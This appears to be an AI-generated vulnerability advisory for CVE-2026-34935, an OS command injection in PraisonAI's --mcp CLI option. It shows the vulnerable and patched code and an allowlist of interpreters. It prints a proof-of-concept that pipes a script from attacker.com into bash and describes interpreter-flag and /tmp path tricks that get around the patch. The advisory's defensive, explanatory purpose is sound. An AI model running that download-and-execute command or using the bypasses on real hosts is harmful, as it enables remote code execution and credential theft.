CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



GHSA-2763-CJ5R-C79M

CVE-2026-34935: Critical OS Command Injection in PraisonAI MCP Processing

Alon Barad
Alon Barad
Software Engineer

Apr 8, 2026·6 min read·20 visits

Executive Summary (TL;DR)

Unsanitized input in PraisonAI's `--mcp` CLI argument allows attackers to achieve arbitrary OS command execution. While patched in version 4.5.69 via an allowlist, the fix remains susceptible to LOLBin argument injection.

PraisonAI versions prior to 4.5.69 are vulnerable to a critical OS Command Injection flaw. The vulnerability resides in the command-line interface processing of Model Context Protocol (MCP) server commands, allowing an attacker to execute arbitrary system commands via the `--mcp` parameter.

Vulnerability Overview

PraisonAI is a multi-agent framework that facilitates the construction and management of AI agent teams. The framework provides a command-line interface (CLI) for users to interact with and orchestrate these AI agents. This CLI includes support for the Model Context Protocol (MCP) via the --mcp argument.

A vulnerability exists in how the PraisonAI CLI processes commands provided to the --mcp argument. The affected software versions fail to neutralize special elements used in operating system commands. This flaw maps directly to CWE-78: Improper Neutralization of Special Elements used in an OS Command.

The vulnerability resides in the MCPHandler.parse_mcp_command() method within the CLI features component. Due to the lack of input sanitization, an attacker can supply crafted input that results in arbitrary command execution. This execution occurs with the privileges of the user running the PraisonAI application.

Root Cause Analysis

The root cause of CVE-2026-34935 is the direct execution of untrusted user input without prior validation or sanitization. When a user provides a string to the --mcp flag, the CLI routes this input to the parse_mcp_command() method located in src/praisonai/praisonai/cli/features/mcp.py. The application relies entirely on the Python shlex module to tokenize this input.

The shlex.split() function correctly parses the string into a list of arguments suitable for process execution. However, tokenization does not equate to sanitization. The application extracts the first element of the parsed list as the target executable and the remaining elements as the arguments.

Once parsed, the command and its arguments pass directly to a process executor, specifically anyio.open_process(). The executor invokes the specified binary on the underlying host system. Because the framework performs no checks against an allowlist or blocklist before this invocation, the application will execute any binary available in the system's PATH.

Code Analysis

The vulnerable implementation in MCPHandler.parse_mcp_command() demonstrates a classic command injection pattern. The code accepts a string command and splits it using shlex.split(). It then assigns the resulting components to cmd and args variables before returning them for execution without performing any security checks.

def parse_mcp_command(self, command: str, env_vars: str = None) -> Tuple[str, List[str], Dict[str, str]]:
    # Missing validation block
    parts = shlex.split(command)
    if not parts:
        return None, [], {}
    
    cmd = parts[0]
    args = parts[1:] if len(parts) > 1 else []
    
    # Environment parsing follows...
    return cmd, args, env

The patch introduced in commit 47bff65413beaa3c21bf633c1fae4e684348368c attempts to remediate the vulnerability by introducing an allowlist. The developers defined ALLOWED_MCP_COMMANDS, a set containing specific allowed executables such as python, node, docker, and npx. The updated function checks the base name of the provided command against this list.

ALLOWED_MCP_COMMANDS = {
    "npx", "npx.cmd", "npx.exe",
    "node", "node.exe",
    "python", "python3", "python.exe", "python3.exe",
    "uvx", "uvx.exe",
    "uv", "uv.exe",
    "docker", "docker.exe",
    "deno", "deno.exe",
    "bun", "bun.exe",
    "pipx",
}
 
# Inside parse_mcp_command:
basename = os.path.basename(cmd)
if basename not in ALLOWED_MCP_COMMANDS:
    raise ValueError(f"Command '{cmd}' is not in the allowed MCP executables list.")

Exploitation Methodology

Exploitation of this vulnerability requires the attacker to have the ability to supply arguments to the PraisonAI CLI. In scenarios where a web interface or secondary application builds CLI commands based on user input, this vulnerability becomes remotely exploitable. The attack involves injecting shell operators or specifying unexpected binaries in the --mcp parameter.

A standard proof-of-concept payload utilizes the bash executable to run an inline script. By specifying bash -c, the attacker can pass a complete shell pipeline as the subsequent argument. This allows the execution of complex commands that download and execute secondary payloads directly in memory.

praisonai "Summarize this" --mcp "bash -c 'curl http://attacker.com/shell.sh | bash'"

During exploitation, shlex.split() parses the payload into ['bash', '-c', "curl http://attacker.com/shell.sh | bash"]. The anyio.open_process() function then invokes bash, passing the attacker's script. This execution occurs entirely outside the intended boundaries of the MCP server context, providing the attacker with persistent access or arbitrary code execution capabilities.

Patch Weaknesses and Variant Analysis

The remediation implemented in version 4.5.69 introduces significant architectural weaknesses. The patch relies exclusively on validating the executable name while ignoring the arguments passed to that executable. This approach fails to address the underlying risk of arbitrary code execution when invoking powerful interpreters.

The allowlist includes tools like python, node, and docker. An attacker can specify one of these allowed binaries and use its command-line arguments to execute arbitrary code. For example, an attacker can bypass the protection by using python -c or node -e followed by a malicious script. These are known as Living Off The Land Binaries (LOLBins).

Furthermore, the patch uses os.path.basename(cmd) to validate the executable. This introduces a path manipulation vector. An attacker with minimal file system access can create a symbolic link or copy a malicious binary to a temporary directory, naming it python or npx. Passing /tmp/npx to the --mcp flag will bypass the basename check while executing the attacker-controlled binary.

Impact Assessment

The CVSS v3.1 base score for CVE-2026-34935 is 9.8, indicating a critical severity level. The vulnerability allows complete compromise of the host system executing the PraisonAI framework. The impact spans all three primary security objectives: confidentiality, integrity, and availability.

An attacker successfully exploiting this flaw gains the execution privileges of the PraisonAI process. This permits unauthorized read access to all files, environment variables, and memory accessible to that user. The attacker can exfiltrate sensitive data, including API keys and database credentials commonly stored in AI application environments.

Integrity and availability are similarly compromised. The attacker can modify system configuration files, install persistent backdoors, or terminate critical processes. In a containerized environment, successful exploitation serves as the initial step toward container escape or lateral movement within the broader network infrastructure.

Remediation and Mitigation Guidance

Organizations utilizing PraisonAI must immediately update to version 4.5.69 or later for the main package, and version 1.5.69 for praisonaiagents. This update introduces the primary allowlist defense. Administrators should verify the installed versions across all deployment environments.

Due to the identified weaknesses in the official patch, secondary mitigations are strictly necessary. Administrators must implement strict input validation on any application layer that constructs commands for the PraisonAI CLI. Ensure that untrusted user input cannot influence the --mcp parameter, even partially.

In high-security environments, restrict the execution context of the PraisonAI process. Utilize containerization, mandatory access controls such as AppArmor or SELinux, and strict file system permissions. Run the process under a dedicated service account with minimal privileges to reduce the impact of a successful command injection attack.

Fix Analysis (1)

Technical Appendix

CVSS Score
9.8/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
EPSS Probability
0.08%
Top 76% most exploited

Affected Systems

PraisonAI CLIPraisonAI Agents Framework

Affected Versions Detail

Product
Affected Versions
Fixed Version
praisonai
Mervin Praison
>= 4.5.15, < 4.5.694.5.69
praisonaiagents
Mervin Praison
<= 1.5.681.5.69
AttributeDetail
CWE IDCWE-78
Attack VectorNetwork / CLI Input
CVSS v3.19.8 (Critical)
EPSS Score0.00083
ImpactArbitrary Code Execution
Exploit StatusProof of Concept

MITRE ATT&CK Mapping

T1059Command and Scripting Interpreter
Execution
CWE-78
OS Command Injection

Improper Neutralization of Special Elements used in an OS Command

Known Exploits & Detection

GitHub Security AdvisoryProof of Concept demonstrating argument injection via the --mcp parameter.

Vulnerability Timeline

Fix commit pushed to PraisonAI repository
2026-03-16
GitHub Advisory and CVE-2026-34935 published
2026-04-03
EPSS likelihood data updated
2026-04-08

References & Sources

  • [1]GitHub Advisory: GHSA-2763-CJ5R-C79M
  • [2]GitHub Advisory: GHSA-9gm9-c8mq-vq7m
  • [3]NVD Vulnerability Detail: CVE-2026-34935
  • [4]PraisonAI Fix Commit
  • [5]TheHackerWire: Technical Analysis & Related Sandbox Bypass
Related Vulnerabilities
CVE-2026-34938

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 9 hours ago•CVE-2026-9306
6.3

CVE-2026-9306: Unauthenticated Insecure Direct Object Reference (IDOR) in QuantumNous new-api Midjourney Relay

CVE-2026-9306 is a critical unauthenticated Insecure Direct Object Reference (IDOR) vulnerability located in the QuantumNous new-api application, affecting versions up to and including 0.12.1. The flaw is caused by improper middleware ordering combined with a lack of object-level authorization checks. This allows remote, unauthenticated attackers to retrieve sensitive Midjourney images belonging to other users by supplying a valid task identifier.

Amit Schendel
Amit Schendel
7 views•5 min read
•1 day ago•GHSA-GGXF-37HM-9WQF
6.5

GHSA-GGXF-37HM-9WQF: Session Leakage via Unsafe Challenge Path Parsing in instagrapi

The instagrapi library prior to version 2.6.9 contains an improper input validation vulnerability within its challenge handling mechanism. Maliciously crafted server responses can manipulate the client into forwarding session cookies and credentials to an external attacker-controlled domain.

Amit Schendel
Amit Schendel
7 views•6 min read
•1 day ago•GHSA-QQQM-5547-774X
9.1

GHSA-QQQM-5547-774X: Unauthenticated Path Traversal in FileBrowser Quantum PATCH Handler

GHSA-QQQM-5547-774X is a critical path traversal vulnerability in the FileBrowser Quantum application, specifically within the Go backend package. The vulnerability resides in the HTTP handler responsible for processing bulk file modifications via the public API. Unauthenticated attackers can exploit an order-of-operations flaw in the path sanitization logic to bypass intended directory restrictions. This allows adversaries to arbitrarily read, move, and overwrite files on the underlying filesystem by supplying specially crafted HTTP PATCH requests.

Alon Barad
Alon Barad
3 views•6 min read
•1 day ago•CVE-2026-8723
5.3

CVE-2026-8723: Synchronous Denial of Service in qs npm Package via TypeError

The qs query string parsing and serialization library for Node.js is vulnerable to a synchronous Denial of Service (DoS) attack. The vulnerability manifests as a process-terminating TypeError when processing arrays with null or undefined elements under specific configuration parameters.

Amit Schendel
Amit Schendel
17 views•7 min read
•1 day ago•GHSA-7M8F-HGJQ-8GC9
7.5

GHSA-7M8F-HGJQ-8GC9: Pre-Authentication Denial of Service via Insecure Deserialization Order in aiosend

The aiosend library prior to version 3.0.6 contains a pre-authentication Denial of Service (DoS) vulnerability in its webhook handling mechanism. The software processes and deserializes incoming JSON payloads before verifying the cryptographic signature, allowing unauthenticated attackers to exhaust server CPU and memory resources by sending large, complex payloads.

Amit Schendel
Amit Schendel
3 views•6 min read
•2 days ago•GHSA-JQQ5-8PX3-9M6M
6.2

GHSA-JQQ5-8PX3-9M6M: Single-Byte Heap Overflow Bypass in ImageMagick JSON and YAML Encoders

A heap-based buffer overflow vulnerability exists in the JSON and YAML encoders of ImageMagick and Magick.NET. This issue constitutes an incomplete fix for CVE-2026-40169, resulting in a single-byte out-of-bounds write (off-by-one error) during image metadata serialization.

Alon Barad
Alon Barad
4 views•6 min read